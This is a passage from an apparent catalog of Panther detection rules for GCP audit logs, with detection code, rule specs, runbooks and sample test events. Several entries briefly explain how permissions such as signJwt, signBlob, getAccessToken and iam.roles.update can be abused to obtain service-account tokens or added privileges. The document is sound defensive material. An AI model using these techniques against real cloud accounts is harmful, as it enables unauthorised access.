
FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate a reason of creating or modifying a cron job in GKE. Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "io.k8s.batch.v1.cronjobs.create"
      }
    ],
    "methodName": "v2.deploymentmanager.deployments.insert",
    "serviceName": "deploymentmanager.googleapis.com"
  },
  "receiveTimestamp": "2024-01-19 13:47:19.465856238",
  "resource": {
    "labels": {
      "name": "test-vm-deployment",
      "project_id": "panther-threat-research"
    },
    "type": "deployment"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-19 13:47:18.279921000"
}

GCP IAM and Tag Enumeration

#
Severity
informational
Log types
GCP.AuditLog
Tags
attack.reconnaissance, attack.t1548, gcp, iam, tagbinding
Source
github.com/panther-labs/panther-analysis

Detects enumeration of IAM policies and tags in GCP, which could be a precursor to privilege escalation attempts via tag-based access control.

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    enum_iam_tags = [
        "GetIamPolicy",
        "TagKeys.ListTagKeys",
        "TagKeys.ListTagValues",
        "TagBindings.ListEffectiveTags",
    ]

    method_name = event.deep_get("protoPayload", "methodName", default="")
    return any(tag in method_name for tag in enum_iam_tags)


def title(event):
    principal = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN>"
    )
    method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN>")
    return f"GCP IAM and Tag Enumeration by {principal} - {method}"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: GCP.IAM.Tag.Enumeration
Description: >
  Detects enumeration of IAM policies and tags in GCP, which could be a precursor
  to privilege escalation attempts via tag-based access control.
DisplayName: GCP IAM and Tag Enumeration
Enabled: true
Filename: gcp_iam_tag_enumeration.py
LogTypes:
  - GCP.AuditLog
CreateAlert: false
Runbook: |
  Review if the user has legitimate business need for these enumeration operations.
  If unauthorized, review and update IAM policies.
Severity: Info
Tags:
  - attack.reconnaissance
  - attack.t1548
  - gcp
  - iam
  - tagbinding

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • protoPayload.methodName contains GetIamPolicy
    • protoPayload.methodName contains TagKeys.ListTagKeys
    • protoPayload.methodName contains TagKeys.ListTagValues
    • protoPayload.methodName contains TagBindings.ListEffectiveTags

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamecontains
  • GetIamPolicy
  • TagBindings.ListEffectiveTags
  • TagKeys.ListTagKeys
  • TagKeys.ListTagValues
field:"protoPayload.methodName" kind:contains

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Review if the user has legitimate business need for these enumeration operations.

If unauthorized, review and update IAM policies.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authenticationInfo": {
      "principalEmail": "test@example.com"
    },
    "methodName": "GetIamPolicy",
    "resourceName": "projects/test-project"
  },
  "resource": {
    "labels": {
      "project_id": "test-project"
    }
  },
  "timestamp": "2024-01-01T00:00:00Z"
}

GCP IAM Role Has Changed

#
Severity
informational
Group by
resource.labels.project_id
Compliance
CIS 2.6
Log types
GCP.AuditLog
Tags
GCP, Identity & Access Management, Privilege Escalation:Valid Accounts
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

A custom role has been created, deleted, or updated.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

ROLE_METHODS = {
    "google.iam.admin.v1.CreateRole",
    "google.iam.admin.v1.DeleteRole",
    "google.iam.admin.v1.UpdateRole",
}


def rule(event):
    return (
        event.deep_get("resource", "type") == "iam_role"
        and event.deep_get("protoPayload", "methodName") in ROLE_METHODS
    )


def dedup(event):
    return event.deep_get("resource", "labels", "project_id", default="<UNKNOWN_PROJECT>")

Rule specification

AnalysisType: rule
Filename: gcp_iam_custom_role_changes.py
RuleID: "GCP.IAM.CustomRoleChanges"
DisplayName: "GCP IAM Role Has Changed"
Enabled: true
DedupPeriodMinutes: 1440 # 24 hours
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Identity & Access Management
  - Privilege Escalation:Valid Accounts
Reports:
  CIS:
    - 2.6
  MITRE ATT&CK:
    - TA0004:T1078
Severity: Info
Description: A custom role has been created, deleted, or updated.
Runbook: No action needed, informational
Reference: https://cloud.google.com/iam/docs/creating-custom-roles
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • resource.type is iam_role
  • protoPayload.methodName is one of google.iam.admin.v1.CreateRole, google.iam.admin.v1.DeleteRole, google.iam.admin.v1.UpdateRole
Alert deduplication
repeat matches within 1d group into one alert

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamein
  • google.iam.admin.v1.CreateRole
  • google.iam.admin.v1.DeleteRole
  • google.iam.admin.v1.UpdateRole
field:"protoPayload.methodName" kind:in
resource.typeeq
  • iam_role
field:"resource.type" kind:eq value:"iam_role"

Response runbook

No action needed, informational

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "y4nffme2rory",
  "logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user.name@runpanther.io",
      "principalSubject": "user:user.name@runpanther.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.roles.create",
        "resource": "projects/western-verve-123456",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.iam.admin.v1.CreateRole",
    "request": {
      "@type": "type.googleapis.com/google.iam.admin.v1.CreateRoleRequest",
      "parent": "projects/western-verve-123456",
      "role": {
        "description": "Created on: 2020-05-14",
        "included_permissions": [
          "apigee.apiproducts.create",
          "apigee.apiproducts.delete",
          "apigee.apiproducts.get"
        ],
        "stage": 1,
        "title": "Jack's custom role"
      },
      "role_id": "CustomRole"
    },
    "requestMetadata": {
      "callerIp": "136.24.229.58",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2020-05-15T04:11:28.411897632Z"
      }
    },
    "resourceName": "projects/western-verve-123456/roles/CustomRole",
    "response": {
      "@type": "type.googleapis.com/google.iam.admin.v1.Role",
      "description": "Created on: 2020-05-14",
      "etag": "BwWlqAHm9IY=",
      "group_name": "custom",
      "group_title": "Custom",
      "included_permissions": [
        "apigee.apiproducts.create",
        "apigee.apiproducts.delete",
        "apigee.apiproducts.get"
      ],
      "name": "projects/western-verve-123456/roles/CustomRole",
      "stage": 1,
      "title": "Jack's custom role"
    },
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.admin.v1.AuditData",
      "permissionDelta": {
        "addedPermissions": [
          "apigee.apiproducts.create",
          "apigee.apiproducts.delete",
          "apigee.apiproducts.get"
        ]
      }
    },
    "serviceName": "iam.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2020-05-15T04:11:29.472913078Z",
  "resource": {
    "labels": {
      "project_id": "western-verve-123456",
      "role_name": "projects/western-verve-123456/roles/CustomRole"
    },
    "type": "iam_role"
  },
  "severity": "NOTICE",
  "timestamp": "2020-05-15T04:11:28.224558457Z"
}

GCP IAM serviceAccounts getAccessToken Privilege Escalation

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment. This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

PlatformRecord / event type
GCPany: iam.googleapis.com (any method)

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if (
            auth.get("permission") == "iam.serviceAccounts.getAccessToken"
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.udm("actor_user")
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
Filename: gcp_iam_service_accounts_get_access_token_privilege_escalation.py
RuleID: "GCP.IAM.serviceAccounts.getAccessToken.Privilege.Escalation"
DisplayName: "GCP IAM serviceAccounts getAccessToken Privilege Escalation"
Enabled: true
LogTypes:
  - GCP.AuditLog
Reports:
  MITRE ATT&CK:
    - TA0004:T1548
Severity: High
Description:
  The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment.
  This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is iam.serviceAccounts.getAccessToken
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is iam.serviceAccounts.getAccessToken

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName
actor_user

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1hu88qbef4d2o",
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Fdata_access",
  "p_log_type": "GCP.AuditLog",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some-project@company.iam.gserviceaccount.com",
      "principalSubject": "serviceAccount:some-project@company.iam.gserviceaccount.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-project@company.iam.gserviceaccount.com/keys/a378358365ff3d22e9c1a72fecf4605ddff76b47"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.serviceAccounts.getAccessToken",
        "resourceAttributes": {}
      }
    ],
    "methodName": "SignJwt",
    "request": {
      "@type": "type.googleapis.com/google.iam.credentials.v1.SignJwtRequest",
      "name": "projects/-/serviceAccounts/some-project@company.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "1.2.3.4",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2024-02-26T17:15:16.327542536Z"
      }
    },
    "resourceName": "projects/-/serviceAccounts/114885146936855121342",
    "serviceName": "iamcredentials.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2024-02-26T17:15:17.100020459Z",
  "resource": {
    "labels": {
      "email_id": "some-project@company.iam.gserviceaccount.com",
      "project_id": "some-project",
      "unique_id": "114885146936855121342"
    },
    "type": "service_account"
  },
  "severity": "INFO",
  "timestamp": "2024-02-26T17:15:16.314854637Z"
}

GCP IAM serviceAccounts signBlob

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

The iam.serviceAccounts.signBlob permission "allows signing of arbitrary payloads" in GCP. This means we can create a signed blob that requests an access token from the Service Account we are targeting.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

PlatformRecord / event type
GCPany: iam.googleapis.com (any method)

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if auth.get("permission") == "iam.serviceAccounts.signBlob" and auth.get("granted") is True:
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
Filename: gcp_iam_service_accounts_sign_blob.py
RuleID: "GCP.IAM.serviceAccounts.signBlob"
DisplayName: "GCP IAM serviceAccounts signBlob"
Enabled: true
LogTypes:
  - GCP.AuditLog
Reports:
  MITRE ATT&CK:
    - TA0004:T1548
Severity: High
Description:
  The iam.serviceAccounts.signBlob permission "allows signing of arbitrary payloads" in GCP.
  This means we can create a signed blob that requests an access token from the Service Account we are targeting.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is iam.serviceAccounts.signBlob
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is iam.serviceAccounts.signBlob

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1hu88qbef4d2o",
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Fdata_access",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some-project@company.iam.gserviceaccount.com",
      "principalSubject": "serviceAccount:some-project@company.iam.gserviceaccount.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-project@company.iam.gserviceaccount.com/keys/a378358365ff3d22e9c1a72fecf4605ddff76b47"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.serviceAccounts.signBlob",
        "resourceAttributes": {}
      }
    ],
    "methodName": "SignJwt",
    "request": {
      "@type": "type.googleapis.com/google.iam.credentials.v1.SignJwtRequest",
      "name": "projects/-/serviceAccounts/some-project@company.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "1.2.3.4",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2024-02-26T17:15:16.327542536Z"
      }
    },
    "resourceName": "projects/-/serviceAccounts/114885146936855121342",
    "serviceName": "iamcredentials.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2024-02-26T17:15:17.100020459Z",
  "resource": {
    "labels": {
      "email_id": "some-project@company.iam.gserviceaccount.com",
      "project_id": "some-project",
      "unique_id": "114885146936855121342"
    },
    "type": "service_account"
  },
  "severity": "INFO",
  "timestamp": "2024-02-26T17:15:16.314854637Z"
}

GCP IAM serviceAccounts.signJwt Privilege Escalation

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

Detects iam.serviceAccounts.signJwt method for privilege escalation in GCP. This method works by signing well-formed JSON web tokens (JWTs). The script for this method will sign a well-formed JWT and request a new access token belonging to the Service Account with it.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

PlatformRecord / event type
GCPSignJwt

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if event.deep_get("protoPayload", "methodName") != "SignJwt":
        return False

    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if auth.get("permission") == "iam.serviceAccounts.signJwt" and auth.get("granted") is True:
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    context = gcp_alert_context(event)
    context["serviceAccountKeyName"] = event.deep_get(
        "protoPayload", "authenticationInfo", "serviceAccountKeyName"
    )
    return context

Rule specification

AnalysisType: rule
Filename: gcp_iam_serviceaccounts_signjwt.py
RuleID: "GCP.IAM.serviceAccounts.signJwt.Privilege.Escalation"
DisplayName: "GCP IAM serviceAccounts.signJwt Privilege Escalation"
Enabled: true
LogTypes:
  - GCP.AuditLog
Reports:
  MITRE ATT&CK:
    - TA0004:T1548
Severity: High
Description:
  Detects iam.serviceAccounts.signJwt method for privilege escalation in GCP. This method works
  by signing well-formed JSON web tokens (JWTs). The script for this method will sign a well-formed JWT and
  request a new access token belonging to the Service Account with it.
Runbook:
  These is not a vulnerability in GCP, this is a vulnerability in how you have configured your GCP environment,
  so it is your responsibility to be aware of these attack vectors and to defend against them. Make sure
  to follow the principle of least-privilege in your environments to help mitigate these security risks.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is SignJwt
  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is iam.serviceAccounts.signJwt
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is iam.serviceAccounts.signJwt

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

These is not a vulnerability in GCP, this is a vulnerability in how you have configured your GCP environment, so it is your responsibility to be aware of these attack vectors and to defend against them. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1hu88qbef4d2o",
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Fdata_access",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some-project@company.iam.gserviceaccount.com",
      "principalSubject": "serviceAccount:some-project@company.iam.gserviceaccount.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-project@company.iam.gserviceaccount.com/keys/a378358365ff3d22e9c1a72fecf4605ddff76b47"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.serviceAccounts.signJwt",
        "resourceAttributes": {}
      }
    ],
    "methodName": "SignJwt",
    "request": {
      "@type": "type.googleapis.com/google.iam.credentials.v1.SignJwtRequest",
      "name": "projects/-/serviceAccounts/some-project@company.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "1.2.3.4",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2024-02-26T17:15:16.327542536Z"
      }
    },
    "resourceName": "projects/-/serviceAccounts/114885146936855121342",
    "serviceName": "iamcredentials.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2024-02-26T17:15:17.100020459Z",
  "resource": {
    "labels": {
      "email_id": "some-project@company.iam.gserviceaccount.com",
      "project_id": "some-project",
      "unique_id": "114885146936855121342"
    },
    "type": "service_account"
  },
  "severity": "INFO",
  "timestamp": "2024-02-26T17:15:16.314854637Z"
}

GCP iam.roles.update Privilege Escalation

#
Severity
high
Compliance
TA0004 T1548
Log types
GCP.AuditLog
Tags
GCP
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

If your user is assigned a custom IAM role, then iam.roles.update will allow you to update the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges, which could be anything you desire.

Telemetry coverage

PlatformRecord / event type
GCPany: iam.googleapis.com (any method)

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if auth.get("permission") == "iam.roles.update" and auth.get("granted") is True:
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.iam.roles.update.Privilege.Escalation"
DisplayName: "GCP iam.roles.update Privilege Escalation"
Description:
  If your user is assigned a custom IAM role, then iam.roles.update will allow you to update
  the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges,
  which could be anything you desire.
Enabled: true
Filename: gcp_iam_roles_update_privilege_escalation.py
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
Severity: High
Reports:
  TA0004:
    - T1548
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
  Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
  in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
  them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
  IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
  mitigate these security risks.

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is iam.roles.update
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is iam.roles.update

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "p_enrichment": null,
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.roles.update",
        "resource": "projects/some-research/roles/CustomRole",
        "resourceAttributes": {}
      }
    ]
  }
}

GCP Inbound SSO Profile Created

#
Severity
high
Log types
GCP.AuditLog
Tags
Account Manipulation, Additional Cloud Roles, GCP, Privilege Escalation
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

MITRE ATT&CK coverage

Telemetry coverage

Detection logic

METHODS = [
    "google.admin.AdminService.inboundSsoProfileCreated",
    "google.admin.AdminService.inboundSsoProfileUpdated",
]


def rule(event):
    return event.deep_get("protoPayload", "methodName", default="") in METHODS


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    event_name = event.deep_walk(
        "protoPayload", "metadata", "event", "eventName", default="<EVENT_NAME_NOT_FOUND>"
    )

    resource = organization_id = event.deep_walk(
        "protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>"
    ).split("/")

    organization_id = resource[resource.index("organizations") + 1]

    return f"GCP: [{actor}] performed {event_name} in organization {organization_id}"


def alert_context(event):
    return {
        "resourceName": event.deep_get(
            "protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>"
        ),
        "serviceName": event.deep_get("protoPayload", "serviceName", default="<SERVICE_NOT_FOUND>"),
    }

Rule specification

AnalysisType: rule
Filename: gcp_inbound_sso_profile_created_or_updated.py
RuleID: "GCP.Inbound.SSO.Profile.Created"
DisplayName: "GCP Inbound SSO Profile Created"
Enabled: true
LogTypes:
  - GCP.AuditLog
Tags:
  - Account Manipulation
  - Additional Cloud Roles
  - GCP
  - Privilege Escalation
Reports:
  MITRE ATT&CK:
    - TA0003:T1136.003
    - TA0003:T1098.003
    - TA0004:T1098.003
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Runbook: >
  Ensure that the SSO profile creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Reference: https://medium.com/google-cloud/detection-of-inbound-sso-persistence-techniques-in-gcp-c56f7b2a588b

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.methodName is one of google.admin.AdminService.inboundSsoProfileCreated, google.admin.AdminService.inboundSsoProfileUpdated

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamein
  • google.admin.AdminService.inboundSsoProfileCreated
  • google.admin.AdminService.inboundSsoProfileUpdated
field:"protoPayload.methodName" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName
principalEmailprotoPayload.authenticationInfo.principalEmail
eventNameprotoPayload.metadata.event.eventName

Response runbook

Ensure that the SSO profile creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "crpr6bdcjfg",
  "logName": "organizations/123456789012/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@@example.com"
    },
    "metadata": {
      "@type": "type.googleapis.com/ccc_hosted_reporting.ActivityProto",
      "activityId": {
        "timeUsec": "1700250956956215",
        "uniqQualifier": "2009471038637356014"
      },
      "event": [
        {
          "eventId": "bdbc47ad",
          "eventName": "INBOUND_SSO_PROFILE_UPDATED",
          "eventType": "INBOUND_SSO_SETTINGS",
          "parameter": [
            {
              "label": "LABEL_OPTIONAL",
              "name": "INBOUND_SSO_PROFILE_CHANGES",
              "type": "TYPE_STRING",
              "value": "Display Name : { oldValue: Test Profile, newValue: Test Profile Update}"
            },
            {
              "label": "LABEL_OPTIONAL",
              "name": "INBOUND_SSO_PROFILE_NAME",
              "type": "TYPE_STRING",
              "value": "inboundSamlSsoProfiles/03vsz0843d02br4"
            }
          ]
        }
      ]
    },
    "methodName": "google.admin.AdminService.inboundSsoProfileUpdated",
    "requestMetadata": {
      "destinationAttributes": {},
      "requestAttributes": {}
    },
    "resourceName": "organizations/123456789012/inboundSsoSettings",
    "serviceName": "admin.googleapis.com"
  },
  "receiveTimestamp": "2023-11-17T19:55:57.417198068Z",
  "resource": {
    "labels": {
      "method": "google.admin.AdminService.inboundSsoProfileUpdated",
      "service": "admin.googleapis.com"
    },
    "type": "audited_resource"
  },
  "severity": "NOTICE",
  "timestamp": "2023-11-17T19:55:56.956215Z"
}

GCP K8s IOCActivity

#
Status
Deprecated
Severity
medium
Log types
GCP.AuditLog
Tags
Deprecated, GCP, Optional, Encrypted Channel - Asymmetric Cryptography, Command and Control
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

This detection monitors for any kubernetes API Request originating from an Indicator of Compromise.

MITRE ATT&CK coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if event.deep_get("operation", "producer") == "k8s.io" and event.deep_get(
        "p_enrichment", "tor_exit_nodes"
    ):
        return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    context = gcp_alert_context(event)
    context["tor_exit_nodes"] = event.deep_get("p_enrichment", "tor_exit_nodes")
    return context

Rule specification

AnalysisType: rule
RuleID: "GCP.K8s.IOC.Activity"
DisplayName: "GCP K8s IOCActivity"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_ioc_activity.py
LogTypes:
  - GCP.AuditLog
Tags:
  - Deprecated
  - GCP
  - Optional
  - Encrypted Channel - Asymmetric Cryptography
  - Command and Control
Severity: Medium
Description: This detection monitors for any kubernetes API Request originating from an Indicator of Compromise.
Reports:
  MITRE ATT&CK:
    - TA0011:T1573.002 # Encrypted Channel: Asymmetric Cryptography
Runbook: Add IP address the request is originated from to banned addresses.
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7

